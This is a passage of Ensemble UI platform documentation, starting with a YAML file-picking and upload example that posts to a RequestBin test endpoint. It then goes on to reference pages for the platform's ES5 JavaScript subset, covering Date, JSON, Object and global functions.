`uploadApi`. - - Then use the `onComplete` properties to execute other actions when upload is successful. - - - Button: - label: Pick Files - onTap: - pickFiles: - id: picker - - - Button: - label: Upload Picked files - onTap: - executeCode: - body: | - //@code - loading.visible = true; - - onComplete: - uploadFiles: - id: fileUploader - files: ${picker.files} - uploadApi: fileUploadApi - inputs: - url: https://en09cdal5asztm.x.pipedream.net - onComplete: | - //@code - loading.visible = false; - onError: | - //@code - - loading.visible = false; - maxFileSize: 100 - overMaxFileSizeMessage: Please select files less than 100kb - - - Markdown: - text: ${fileUploader.body} - - - Progress: - display: circular - id: loading - visible: false - - - Divider - - - Markdown: - text: | - Chain multiple file actions to pick files and upload them in one go - - Using `pickFiles` to pick file based on platform picker - - Using `uploadFiles` to upload selected files from file picker - - - Button: - label: Pick & Upload - onTap: - pickFiles: - id: filePicker - onComplete: - uploadFiles: - files: ${filePicker.files} - uploadApi: fileUploadApi - inputs: - url: https://en09cdal5asztm.x.pipedream.net - onComplete: | - //@code - ensemble.debug('File uploaded'); - - - Divider: - - - Markdown: - text: | - `pickFiles` also comes with option such as: - - - `allowMultiple` : To allow muliple file selection from gallery picker default (false) - - `allowCompression` : It will allow media to apply the default OS compression (default True) - - `allowedExtensions` : To filter file picking based on extensions like jpg, png, pdf... - - `uploadFiles` also comes with option such as: - - - `files` : Pass the files that needs to upload e.g ${filePicker.files} - - - `fieldName` : Field name that your server is expecting. (default files). - - - `maxFileSize`: File size that is allowed in kb (default 100 mb), If multiple is allow then sum of all files - - `overMaxFileSizeMessage`: Error message to show when selected files size is above maxFileSize. - - - Row: - styles: { mainAxis: spaceBetween, crossAxis: center } - children: - - Button: - label: Multiple Images - onTap: - pickFiles: - id: images - allowMultiple: true - allowCompression: false - allowedExtensions: - - jpg - - png - - - Text: - text: ${images.files.length} - - Button: - label: Upload Multiple images - onTap: - uploadFiles: - id: imageUploader - uploadApi: fileUploadApi - files: ${images.files} - fieldName: files - inputs: - url: https://en09cdal5asztm.x.pipedream.net - maxFileSize: 100 # in kb - overMaxFileSizeMessage: Please select files less than 100kb - - - Markdown: - text: ${imageUploader.body} - - Divider - - - Markdown: - text: | - ### Background file upload - - Pick and Upload files in background. - - In unmetered connection (wifi/lan) - - Also show notification - - *Not supported on web / studio. - - - Button: - label: Background upload - onTap: - pickFiles: - id: bgFilePicker - onComplete: - uploadFiles: - uploadApi: fileUploadApi - files: ${bgFilePicker.files} - inputs: - url: https://en09cdal5asztm.x.pipedream.net - id: bgUploader - options: - backgroundTask: true - showNotification: true - networkType: unmetered - - - Divider: - - - Markdown: - text: | - _Side Note: If you are using default uploadURL it's using RequestBin_ - - _RequestBin has maxFileSize of __100 kb__ above it will fail._ - - _You can see you API request [here](https://requestbin.com/r/en09cdal5asztm/2Lzx3lZ071EFF9dFKZCXJTnkJHS)_ - - - Divider: - -API: - fileUploadApi: - inputs: - - url - uri: ${url} - method: POST -``` - - - -complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/mvFbwP5K5yvAqTlncTga?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - ---- - -# Add logic using JavaScript - -Welcome to the Ensemble Javascript manual. It provides how-to guides, API reference documentation and examples. - -## Limitations - -Ensemble's javascript is a limited subset of the javascript you may be used to. It is used primarily for manipulating the JSON response from the server, performing UI logic when handling events or writing re-usable functions. - -Following are the key limitations of the javascript in Ensemble. - -- Only supports ES5. Which means that it does _not_ support any of the ES6 features listed [here](https://www.w3schools.com/js/js_es6.asp). There is _no_ support for arrow function synatx (=>), let keyword and many other features you may be used to. -- No support for importing libraries. Limited to what's provided outside the box. -- No support for `.prototype` or defining new objects. This may come in the future. - -Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of these capabilities or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) - -## Where is Javascript code used? - -Javascript is the language to build your logic in Ensemble. It is used either as code blocks or as inline expressions. We discuss both below. - -### Code Block - -Each code block must start with `//@code` as the first line. This tells the platform to process the text as code. - -- Use code blocks to handling events or processing API responses. -- Each code block must be in the `body` of the `executeCode` action. - -See below the two use cases where code blocks are used. - -#### Handling Events - -Specified as the `executeCode` action. -Example - - -```js - Button: - label: Click Me - onTap: - executeCode: - body: | - //@code - myText.text = 'tapped out'; -``` - -#### Process API responses - -Another common place code blocks are used is when the API response has to be handled to extract values to be set on widgets or response to be set so that one or more `item-template` on the page may get the data in the format that they expect. See both examples below. -Example 1: set widget property in API response - -```js - API: - getDummyData: - uri: https://dummyjson.com/users/1 - method: GET - onResponse: - executeCode: - body: | - //@code - myText.text = 'Got Response!'; -``` - -Example 2: processing response and setting it for the `item-template` that are bound to this API to use - -```js - API: - getDummyData: - uri: https://dummyjson.com/users/1 - method: GET - onResponse: - executeCode: - body: | - //@code - //this will replace the response and be used by the item-templates that bind to this API - response.body.data = [{"field1:"value1"}]; -``` - -### Inline Expressions and bindings - -Use inline expressions for dynamically assigning values to widget properties. Inline expressions automatically update the properties of widgets by `binding` them to API responses or template data. - -More details coming soon... TBD - -## Referencing Ensemble widgets and their properties inside javascript - -All widgets on a screen can be referenced within the code block by their `id` field. This also means that ids need to be unique on a screen. Don't set id on your re-usable custom widgets. -No need to call a function, simply use the id of the widget and start accessing its properties. For example, if your widget has `id: myText`, you can reference it in code block or inside an expression as just `myText`. See below. - -```js - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: - id: myText - text: Hi there! - - Button: - label: Click Me - onTap: - executeCode: - body: | - //@code - myText.text = 'tapped out'; -``` - -Widgets within an item-template can be referenced by their index in the array using the `this.selectedItemIndex` syntax. -For example. - -```js - ListView: - id: listView - onItemTap: - navigateScreen: - name: ListView - Detail Page - inputs: - doc_type: ${getPeople.body.users[this.selectedItemIndex]} - styles: {expanded: true } - itemTemplate: - data: ${getPeople.body.users} - name: users - template: - MyRow: - inputs: - p: ${users} -``` - -## Core Libraries - -- [The `ensemble` object](#ensemble-objects-and-their-properties) -- [String](#string-functions) -- [Numbers](#number-functions) -- [Date](#javascript-date) -- [Object and Array](#object) -- [Globals](#consolelog) -- [Math](#javascript-math) -- [JSON](#json) -- [JsonPath](#jsonpath) - -## Common Errors and Logging/Debugging - -TBD - ---- - -# JavaScript Date -The Date object is a built-in JavaScript object that represents a single moment in time, based on the number of milliseconds since January 1, 1970, 00:00:00 UTC. - -- Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of other capabilities -- or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) - -## Constructors - -### Date() -Creates a new Date object with the current date and time. - -Example: -```js -var date = new Date(); -console.log(date.toString()); // Example output: "Fri Jun 02 2022 12:49:07 GMT+0200 (Central European Summer Time)" -``` - -### Date(milliseconds) -Creates a new Date object with the time set to the number of milliseconds since January 1, 1970, 00:00:00 UTC. - -Example: -```js -var date = new Date(1622633347521); -console.log(date.toString()); // Example output: "Fri Jun 02 2022 12:49:07 GMT+0200 (Central European Summer Time)" -``` -### Date(dateString) -Creates a new Date object with the time set to the value specified by the dateString. - -**Note: The function parses a subset of ISO 8601, which includes the subset accepted by RFC 3339.** - -The accepted inputs are currently: - -* A date: A signed four-to-six digit year, two digit month and two digit day, optionally separated by - characters. Examples: "19700101", "-0004-12-24", "81030-04-01". -* An optional time part, separated from the date by either T or a space. The time part is a two digit hour, then optionally a two digit minutes value, then optionally a two digit seconds value, and then optionally a '.' or ',' followed by at least a one digit second fraction. The minutes and seconds may be separated from the previous parts by a ':'. Examples: "12", "12:30:24.124", "12:30:24,124", "123010.50". -* An optional time-zone offset part, possibly separated from the previous by a space. The time zone is either 'z' or 'Z', or it is a signed two digit hour part and an optional two digit minute part. The sign must be either "+" or "-", and cannot be omitted. The minutes may be separated from the hours by a ':'. Examples: "Z", "-10", "+01:30", "+1130". -* This includes the output of both toString and toIso8601String, which will be parsed back into a DateTime object with the same time as the original. - -The result is always in either local time or UTC. If a time zone offset other than UTC is specified, the time is converted to the equivalent UTC time. - -Examples of accepted strings: - -* "2012-02-27" -* "2012-02-27 13:27:00" -* "2012-02-27 13:27:00.123456789z" -* "2012-02-27 13:27:00,123456789z" -* "20120227 13:27:00" -* "20120227T132700" -* "20120227" -* "+20120227" -* "2012-02-27T14Z" -* "2012-02-27T14+00:00" -* "-123450101 00:00:00 Z": in the year -12345. -* "2002-02-27T14:00:00-0500": Same as "2002-02-27T19:00:00Z" - -This method accepts out-of-range component values and interprets them as overflows into the next larger component. For example, "2020-01-42" will be parsed as 2020-02-11, because the last valid date in that month is 2020-01-31, so 42 days is interpreted as 31 days of that month plus 11 days into the next month. - -Example: -```js -var date = new Date("2022-06-02T10:49:07.521Z"); -console.log(date.toString()); // Example output: "Fri Jun 02 2022 12:49:07 GMT+0200 (Central European Summer Time)" -``` -### Date(year, month[, day[, hour[, minutes[, seconds[, milliseconds]]]]]) -Creates a new Date object with the specified date and time components. The month parameter is 0-indexed (0 for January, 1 for February, etc.). - -Example: -```js -var date = new Date(2022, 5, 2, 10, 49, 7, 521); -console.log(date.toString()); // Example output: "Thu Jun 02 2022 10:49:07 GMT+0200 (Central European Summer Time)" -``` -## Methods - -### Date.UTC(year, month[, day[, hour[, minutes[, seconds[, milliseconds]]]]]) -Returns the number of milliseconds since January 1, 1970, 00:00:00 UTC for the specified date and time components. - -Example: -```js -var utc = Date.UTC(2022, 5, 2, 10, 49, 7, 521); -console.log(utc); // Example output: 1654259347521 -``` -### getTime() -Returns the number of milliseconds since January 1, 1970, 00:00:00 UTC. - -Example: -```js -var date = new Date(); -var time = date.getTime(); -console.log(time); // Example output: 1622633347521 -``` -### getFullYear() -Returns the year according to the local time. - -Example: -```js -var date = new Date(); -var year = date.getFullYear(); -console.log(year); // Example output: 2022 -``` -### getMonth() -Returns the month according to the local time (0-indexed). - -Example: -```js -var date = new Date(); -var month = date.getMonth(); -console.log(month); // Example output: 5 (for June) -``` -### getDate() -Returns the day of the month according to the local time. - -Example: -```js -var date = new Date(); -var dayOfMonth = date.getDate(); -console.log(dayOfMonth); // Example output: 2 -``` -### getHours() -An integer, between 0 and 23, representing the hours for the given date according to local time. - -Example: -```js -var birthday = new Date('March 13, 08 04:20'); -console.log(birthday.getHours());// Expected output: 4 -``` -### getMinutes() -Returns the minutes according to the local time. - -Example: -```js -var date = new Date(); -var minutes = date.getMinutes(); -console.log(minutes); // Example output: 49 -``` -### getSeconds() -Returns the seconds according to the local time. - -Example: -```js -var date = new Date(); -var seconds = date.getSeconds(); -console.log(seconds); // Example output: 7 -``` -### getMilliseconds() -Returns the milliseconds according to the local time. - -Example: -```js -var date = new Date(); -var milliseconds = date.getMilliseconds(); -console.log(milliseconds); // Example output: 521 -``` -### getDay() -Returns the day of the week according to the local time. - -Example: -```js -var date = new Date(); -var dayOfWeek = date.getDay(); -console.log(dayOfWeek); // Example output: 4 (for Thursday) -``` -### toISOString() -Returns the Date object as a ISO8601 string. It does not support internationalized strings. -This string can be parsed back into the Date object using the parse() method - -Example: -```js -var event = new Date('2023-11-02 17:07:35.053068'); -var str = date.toISOString() -console.log(str); // Example output: "2023-11-03T00:07:35.053068Z" -``` -### toJSON() -Returns the Date object as an ISO 8601 formatted string in UTC. - -Example: -```js -var date = new Date(); -var jsonString = date.toJSON(); -console.log(jsonString); // Example output: "2022-06-02T10:49:07.521Z" -``` -### toLocaleDateString() -Returns the date formatted with locale conventions. -- locale (optional): A string with a BCP 47 language tag that forces a specific locale to be used. If no locale is passed in, Ensemble will automatically use the user-detected locale. - -Example: -```js -var event = new Date('2023-11-02T17:07:35.053Z'); - -// "11/2/2023" (US) or "2/11/2023" (UK) depending on detected locale -console.log(event.toLocaleDateString()); - -// Force a locale (British English). Output 2/11/2023 -console.log(event.toLocaleDateString('en-GB'); -``` - -### toLocaleTimeString() -Returns the time portion of the Date object as a string, using locale conventions. -- locale (optional): A string with a BCP 47 language tag that forces a specific locale to be used. If no locale is passed in, Ensemble will automatically use the user-detected locale. - -```js -var event = new Date('2023-11-02T17:07:35.053Z'); -var str = event.toLocaleTimeString(); - -// output: "5:07:35 PM" or "17:07:35" depending on the detected locale -console.log(str); - -// force es locale, outputing "17:07:35" -console.log(event.toLocaleTimeString("es")); - -``` - -### toLocaleString() -Returns the full date and time according to locale-specific conventions. -- locale (optional): A string with a BCP 47 language tag that forces a specific locale to be used. If no locale is passed in, Ensemble will automatically use the user-detected locale. - -```js -var event = new Date('2023-11-02T17:07:35.053Z'); - -// output "11/2/2023, 5:07:35 PM" or "2/11/2023, 17:07:35" depending on detected locale -console.log(event.toLocaleString()); - -// force a locale, outputing "2/11/2023, 17:07:35" -console.log(event.toLocaleString("es"); -``` - -### toString() -Returns the Date object as a human readable string. It does not support internationalized strings. -This string can be parsed back into the Date object using the parse() method - -Example: -```js -var date = new Date(); -var str = date.toString() -console.log(str); // Example output: "2023-11-02 17:03:32.094453" -``` -### valueOf() -Returns the primitive value of the Date object, which is the number of milliseconds since midnight of January 1, 1970 UTC. - -Example: -```js -var event = new Date('2023-11-02T17:07:35.053Z'); -var val = event.valueOf(); -console.log(val); // Example output: 1698947255053 -``` - -### setTime(timeValue) -Sets the Date object to the time represented by the number of milliseconds since January 1, 1970, 00:00:00 UTC. - -Example: -```js -var date = new Date(); -date.setTime(1622633347521); -console.log(date.toString()); // Example output: "Fri Jun 02 2022 12:49:07 GMT+0200 (Central European Summer Time)" -``` -### setDate() -Description: Sets the day of the month for a specified date according to local time. -Syntax: dateObj.setDate(dayValue) -Parameters: -dayValue: An integer from 1 to 31, representing the day of the month. -Example: -```js -var date = new Date(); -date.setDate(15); -``` -### setMonth() -Description: Sets the month for a specified date according to local time. -Syntax: dateObj.setMonth(monthValue) -Parameters: -monthValue: An integer from 0 (January) to 11 (December) representing the month. -Example: -```js -var date = new Date(); -date.setMonth(5); // Sets the month to June -``` -### setFullYear() -Description: Sets the full year for a specified date according to local time. -Syntax: dateObj.setFullYear(yearValue) -Parameters: -yearValue: An integer specifying the numeric value of the year, e.g., 1995. -Example: -```js -var date = new Date(); -date.setFullYear(2024); -``` -### setHours() -Description: Sets the hours for a specified date according to local time. -Syntax: dateObj.setHours(hoursValue) -Parameters: -hoursValue: An integer from 0 to 23, representing the hour. -Example: -```js -var date = new Date(); -date.setHours(13); -``` -### setMinutes() -Description: Sets the minutes for a specified date according to local time. -Syntax: dateObj.setMinutes(minutesValue) -Parameters: -minutesValue: An integer from 0 to 59, representing the minutes. -Example: -```js -var date = new Date(); -date.setMinutes(45); -``` -### setUTCDate() -Description: Sets the day of the month for a specified date according to UTC. -Syntax: dateObj.setUTCDate(dayValue) -Parameters: -dayValue: An integer from 1 to 31, representing the day of the month. -Example: -```js -var date = new Date(); -date.setUTCDate(15); -``` -### setUTCMonth() -Description: Sets the month for a specified date according to UTC. -Syntax: dateObj.setUTCMonth(monthValue) -Parameters: -monthValue: An integer from 0 (January) to 11 (December) representing the month. -Example: -```js -var date = new Date(); -date.setUTCMonth(5); // Sets the month to June -``` -### setUTCFullYear() -Description: Sets the full year for a specified date according to UTC. -Syntax: dateObj.setUTCFullYear(yearValue) -Parameters: -yearValue: An integer specifying the numeric value of the year, e.g., 1995. -Example: -```js -var date = new Date(); -date.setUTCFullYear(2024); -``` -### setUTCHours() -Description: Sets the hours for a specified date according to UTC. -Syntax: dateObj.setUTCHours(hoursValue) -Parameters: -hoursValue: An integer from 0 to 23, representing the hour. -Example: -```js -var date = new Date(); -date.setUTCHours(13); -``` -### setUTCMinutes() -Description: Sets the minutes for a specified date according to UTC. -Syntax: dateObj.setUTCMinutes(minutesValue) -Parameters: -minutesValue: An integer from 0 to 59, representing the minutes. -Example: -```js -var date = new Date(); -date.setUTCMinutes(45); -``` -### setUTCSeconds() -Description: Sets the seconds for a specified date according to UTC. -Syntax: dateObj.setUTCSeconds(secondsValue) -Parameters: -secondsValue: An integer from 0 to 59, representing the seconds. -Example: -```js -var date = new Date(); -date.setUTCSeconds(30); -``` -### setUTCMilliseconds() -Description: Sets the milliseconds for a specified date according to UTC. -Syntax: dateObj.setUTCMilliseconds(millisecondsValue) -Parameters: -millisecondsValue: An integer from 0 to 999, representing the milliseconds. -Example: -```js -var date = new Date(); -date.setUTCMilliseconds(500); -``` - -## UTC Methods -These methods are similar to their local-time counterparts but use UTC time instead of local time. -### getUTCFullYear() -Example: -```js -var date = new Date(); -var utcFullYear = date.getUTCFullYear(); -console.log(utcFullYear); // Example output: 2022 -``` -### getUTCMonth() -Example: -```js -var date = new Date(); -var utcMonth = date.getUTCMonth(); -console.log(utcMonth); // Example output: 5 (for June) -``` -### getUTCDate() -Example: -```js -var date = new Date(); -var utcDate = date.getUTCDate(); -console.log(utcDate); // Example output: 2 -``` -### getUTCHours() -Example: -```js -var date = new Date(); -var utcHours = date.getUTCHours(); -console.log(utcHours); // Example output: 10 -``` -### getUTCMinutes() -Example: -```js -var date = new Date(); -var utcMinutes = date.getUTCMinutes(); -console.log(utcMinutes); // Example output: 49 -``` -### getUTCSeconds() -Example: -```js -var date = new Date(); -var utcSeconds = date.getUTCSeconds(); -console.log(utcSeconds); // Example output: 7 -``` -### getUTCMilliseconds() -Example: -```js -var date = new Date(); -var utcMilliseconds = date.getUTCMilliseconds(); -console.log(utcMilliseconds); // Example output: 521 -``` -### getUTCDay() -Example: -```js -var date = new Date(); -var utcDay = date.getUTCDay(); -console.log(utcDay); // Example output: 4 (for Thursday) -``` -## Arithmatic Operations with Date -You can use a Date object as a primitive and add, subtract, multiply etc. as follows. -Example -```js -var date = new Date(2022, 5, 2, 10, 49, 7, 521); -var yesterday = date - 1000 * 60 * 60 * 24; // current date's milliseconds - 1,000 ms * 60 s * 60 mins * 24 hrs * (# of days beyond one to go back) -yesterday = new Date(yesterday); -console.log(yesterday); //Example output: 1 -``` - ---- - -# Ensemble Objects and their properties - -# The `app` object -`app` object provides app and theme configuration related properties and methods. -## Properties - -### baseUrl -Returns the `baseUrl` if one is specified in configuration. NOTE: `baseUrl` cannot be set and can only be retrieved. -```yaml -API: - myAPI: - url: ${app.baseUrl}/path/file.json -``` -or in js - -```js -var url = app.baseUrl; -``` -### useMockResponse -Sets or Returns the value of `useMockResponse`. See [this](https://docs.ensembleui.com/#/build/use-mock-api-response?id=mocking-api-responses-to-develop-and-test-your-app) for details on how to mock responses for your APIs during development or testing. -```js -app.useMockResponse = true; -var isInMockResponseMode = app.useMockResponse; //returns true -``` -### Theme -Sets or Returns the value of the current theme. See [this](#theme) for details on how themes work and how to set/get a theme. - -### Themes -Returns the current set of themes that were configured in the app. NOTE: you can only retrieve the list of pre-configured themes, you cannot add to the list or set the list to a different list. - -See [this](#checking-and-switching-themes-in-javascript) on how to configure multiple themes. - -**Example:** - -Bind the `themes` to a dropdown and let user switch themes from all the available themes. -```yaml - - Dropdown: - label: Pick a Theme - items: ${app.themes} - value: ${app.theme} - onChange: - executeCode: - body: | - app.theme = this.value; -``` -## Methods -### saveTheme -Saves the theme name passed as argument into the persistent storage. This theme is then automatically applied on the next re-launch of the app. See [this](#savings-themes-in-storage-so-they-can-be-applied-across-application-sessions) for details. - -### getSavedTheme -Retrieves the saved theme. See [this](#savings-themes-in-storage-so-they-can-be-applied-across-application-sessions) for details. - -### removeSavedTheme -Clear out the saved theme. See [this](#savings-themes-in-storage-so-they-can-be-applied-across-application-sessions) for details. - ---- - -# Exception Handling in Javascript - -Ensemble supports try/catch/finally in ES5 and the throw clause as well. In JavaScript ES5, the try/catch/finally structure, along with the throw statement, provides robust error-handling capabilities. These constructs allow developers to handle runtime errors gracefully, ensuring that code can respond to unexpected issues without crashing. - -The try block contains code that might throw an error, and if an error occurs, control immediately moves to the catch block, where the error can be handled. - -The finally block, which is optional, executes regardless of whether an error was caught, making it useful for cleanup tasks (like closing connections or freeing up resources). - -The throw statement allows you to generate custom errors by “throwing” an error that can be caught by catch. This is particularly useful for input validation and other scenarios where specific conditions need to be enforced. - -In the following example, the function `divide` is throwing an error that is then caught in the catch clause and a toast message is shown. - -```yaml -View: - styles: - useSafeArea: true - - # Optional - set the header for the screen - header: - titleText: Home - - # Specify the body of the screen - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: - text: Hi there! - - Button: - label: Checkout Ensemble Kitchen Sink - onTap: - executeCode: - body: |- - try { - console.log(divide(10, 0)); // Will throw an error - } catch (error) { - console.log("Caught an error: " + error.message); - var payload = { - message: error.message, - options: { - type: 'error', - duration: 3, - alignment: 'bottomRight' - } - }; - ensemble.showToast(payload); - } finally { - console.log("Execution completed."); - } - -Global: |- - // Javascript code - function divide(a, b) { - if (b === 0) { - throw new Error("Division by zero is not allowed"); // Custom error - //You can just throw a string as well as follows - - //throw "Division by zero is not allowed"; - } - return a / b; - } - -``` - ---- - -# Defining and Re-using Javascript Code - -There are two ways to re-use js code as follows - - -- `Global` block within a screen definition. This, despite its name, is limited to the screen it is defined in and cannot be referenced in other screens -- `Scripts` a script that is defined independent of a screen (see video below) may be used anywhere in the app by simply importing it. - -In both cases above, you can define javascript variables (only `var` is supported as this is ES5, see [here](#add-logic-using-javascript)) or functions. - -## Example of `Global` code block within a screen - -```yaml -View: - #your screen definition -Global: |- - //code block - function sum(a,b) { - return a + b; - } -``` - -## Example of re-usable `Script` defined outside a screen and imported in any screen or widget -A script defined outside a screen, however, can be imported on any screen or widget across the app by simply doing - - -```yaml -Import: - - myScript -``` -Watch the following video for how to define a js library and re-use it across the app - -## Demo - -
    - ---- - -- Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of other capabilities -- or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) - -For `parseInt`, `parseFloat`, see [String.tryParseInt](#string-functions) and [String.tryParseDouble](#string-functions) respectively. - -### console.log - -The `console.log()` function is used to print messages to the console. It can be used for debugging purposes or to display information. - -**Example:** - -```javascript -console.log("Hello, World!"); // Output: Hello, World! -``` - -### regexp.test - -The `regexp.test()` function is used to test if a given string matches a regular expression pattern. It returns `true` if the string matches the pattern, and `false` otherwise. - -**Example:** - -```javascript -var pattern = /hello/; -var str = "Hello, World!"; -console.log(pattern.test(str)); // Output: false -str = "hello, how are you?"; -console.log(pattern.test(str)); // Output: true -``` -### btoa - -The `btoa()` function is used to encode a string in base64 format. It takes a string as input and returns a base64 encoded string. - -**Example:** - -```javascript -var str = "Hello, World!"; -console.log(btoa(str)); // Output: SGVsbG8sIFdvcmxkIQ== -``` - -### atob - -The `atob()` function is used to decode a base64 encoded string. It takes a base64 encoded string as input and returns the decoded string. - -**Example:** - -```javascript -var base64Str = "SGVsbG8sIFdvcmxkIQ=="; -console.log(atob(base64Str)); // Output: Hello, World! -``` -### encodeURIComponent -The `encodeURIComponent(str)` function encodes a URI component by escaping all characters except alphabetic characters, decimal digits, and a few special characters (-, _, ., !, ~, *, ', (, )). It is used to encode the values of query string parameters to ensure special characters do not interfere with the way the URI is interpreted by browsers and servers. For example, it encodes spaces as %20 and = as %3D. -[Detailed documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent) - -**Example:** -```javascript -var myParam = 'This & That'; -var encodedParam = encodeURIComponent(myParam); -console.log(encodedParam); // Outputs: This%20%26%20That -``` -### decodeURIComponent -`decodeURIComponent(str)` function decodes a URI component previously created by encodeURIComponent or by a similar routine. It reverses the encoding process by replacing percent-encoded characters with their corresponding ASCII characters. -[Detailed documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/decodeURIComponent) - -**Example:** -```javascript -var decodedParam = decodeURIComponent(encodedParam); -console.log(decodedParam); // Outputs: This & That -``` - -### encodeURI -`encodeURI(uri)`: Unlike encodeURIComponent, this function is intended to encode a complete URI without escaping characters that have special meanings in URIs (like :, /, ?, &, =). It encodes the necessary components of the URI to make it safe for transmission by escaping all characters except those considered safe. -[Detailed documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI) - -**Example:** -```javascript -var uri = 'https://mozilla.org/?x=шеллы'; -var encoded = encodeURI(uri); -console.log(encoded); -// Expected output: "https://mozilla.org/?x=%D1%88%D0%B5%D0%BB%D0%BB%D1%8B" -``` - -### decodeURI -`decodeURI(encodedURI)`: This function is used to decode a URI that was previously encoded using encodeURI. It decodes the entire URI but will not decode characters that are part of the URI syntax itself (like ? and # in query strings and fragments). -[Detailed documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/decodeURI) - -**Example:** -```javascript -var uri = 'https://mozilla.org/?x=шеллы'; -var encoded = encodeURI(uri); -console.log(encoded); -// Expected output: "https://mozilla.org/?x=%D1%88%D0%B5%D0%BB%D0%BB%D1%8B" - -console.log(decodeURI(encoded)); -// Expected output: "https://mozilla.org/?x=шеллы" - -``` - ---- - -# JSON -Ensemble Javascript provides two key methods to deal with the JSON objects. - -## Methods -### parse() -The JSON.parse() static method parses a JSON string, constructing the JavaScript object described by the string. - -#### Returns -Returns a Javascript object - -Example - -```js -const json = '{"result":true, "count":42}'; -const obj = JSON.parse(json); - -console.log(obj.count); -// Expected output: 42 - -console.log(obj.result); -// Expected output: true -``` -### stringify() -The JSON.stringify() static method converts a JavaScript value to a JSON string. - -Types that are directly converted to json strings - string, number, array, object (map), boolean and date. Date objects are converted to string by calling the [toISOString()](#toisostring) method. - -#### Returns -Returns a string representing the json object - -Example - -```js -console.log(JSON.stringify({ x: 5, y: 6 })); -// Expected output: '{"x":5,"y":6}' -``` - ---- - -# JsonPath - -TBD - ---- - -# Object -Any property of a javascript object may be accessed using either the parenthesis `['propname']` or the dot `myObj.propname`. - -- It the property does not exist on the object, it will return null. Exception will *not* be thrown. -- Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of other capabilities -- or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) - -## Constructor - -```js -var obj = {a: 1, b: 'abc'};//creates a new object with properties a and b -var obj2 = new Object(); //creates a new empty object -obj2['a'] = 1; //adds property a to the object -obj2['b'] = 'abc'; -``` - -## Static Methods -### Object.keys(value) -See Object.keys in javascript. Returns an array of a given object's own enumerable property names. - -Example - -```js -var result = Object.keys({a: 1, b: 2, c: 3}); -// result: ['a', 'b', 'c'] -``` -### Object.values(value) -See Object.values in javascript. Returns an array of a given object's own enumerable property values. -Example - -```js -var result = Object.values({a: 1, b: 2, c: 3}); -// result: [1, 2, 3] -``` -### Object.entries(value) -See Object.entries in javascript. Returns an array of a given object's own enumerable property [key, value] pairs. -Example - -```js -var result = Object.entries({a: 1, b: 2, c: 3}); -// result: [['a', 1], ['b', 2], ['c', 3]] -``` - -### hasOwnProperty(value, key) - -Checks if the provided key exists as an own property of the object. - -Example - -```js -var obj = { a: 1, b: 2 }; -var result = hasOwnProperty(obj, 'a'); -// result: true -``` - -### getPropertyNames(value) - -Retrieves an array of all enumerable property names (keys) of the object. - -Example - -```js -var obj = { a: 1, b: 2, c: 3 }; -var result = getPropertyNames(obj); -// result: ['a', 'b', 'c'] -``` - -### toString(value) - -Converts the value to a string representation. - -Example - - -```js -var obj = { a: 1, b: 2 }; -var result = toString(obj); -// result: '[object Object]' -``` - -### toJSON(value) - -Converts the value into a JSON string. Works with objects, arrays, or other types. - -Example - -```js -var obj = { a: 1, b: 2 }; -var result = toJSON(obj); -// result: '{"a":1,"b":2}' -``` - -### defineProperty(value, key, property) - -Defines a new property on the object or updates an existing one. If the value is not an object, this function does nothing. - -Example - -```js -var obj = { a: 1 }; -var result = defineProperty(obj, 'b', 2); -// result: { a: 1, b: 2 } -``` - -### deleteProperty(value, key) - -Deletes the specified property from the object. If the key does not exist, it does nothing. - -Example - -```js -var obj = { a: 1, b: 2 }; -var result = deleteProperty(obj, 'b'); -// result: { a: 1 } -``` - -### has(value, key) - -Checks if the specified key exists in the object. Works like hasOwnProperty. - -Example - -```js -var obj = { a: 1, b: 2 }; -var result = has(obj, 'b'); -// result: true -``` - -### propertyIsEnumerable(value, key) - -Checks if the given property key is enumerable in the object. - -Example - -```js -var obj = { a: 1, b: 2 }; -var result = propertyIsEnumerable(obj, 'a'); -// result: true -``` - -## Instance Methods -### keys() -Just like the Object.keys() method in javascript. Returns an array containing the keys (propery names) of an object. - -#### Returns -Returns an array containing the keys (propery names) of an object. - -Example - -```js -var headers = {}; -headers['abc'] = 'xyz'; -headers['def'] = 123; -headers['ghi'] = '456'; -var keys = headers.keys(); -keys.forEach(function(key) { - console.log(key + ':' + headers[key]); -}); -/* outputs -abc:xyz -def:123 -ghi:456 -*/ -``` -### values() -Just like the Object.values() method in javascript. Returns an array containing the values (propery values) of an object. - -#### Returns -Returns an array containing the values (propery values) of an object. - -Example - -```js -var headers = {}; -headers['abc'] = 'xyz'; -headers['def'] = 123; -headers['ghi'] = '456'; -headers.values().forEach(function(val) { - console.log(val); -}); -/* outputs -xyz -123 -456 -*/ -``` -### entries() -Just like the Object.entries() method in javascript. Returns an array containing the entries of an object where each entry is an object - {key:,value:} - -#### Returns -Returns an array containing the values (propery values) of an object. - -Example - -```js -var headers = {}; -headers['abc'] = 'xyz'; -headers['def'] = 123; -headers['ghi'] = '456'; -headers.entries().forEach(function(entry) { - console.log(entry.key + ':' + entry.value); -}); -/* outputs -abc:xyz -def:123 -ghi:456 -*/ -``` -### path(jsonPath,mapFunction) -The `path` method is a function that takes a JSON path as a string and an optional mapping function as arguments. The function traverses the object using the provided path and returns a list of the values found at that path. - -The optional mapFunction argument is a function that transforms the values found at the JSON path. If a mapFunction is provided, it is applied to each value found at the path. - -#### Parameters -jsonPath (String): The JSON path at which to look for values.
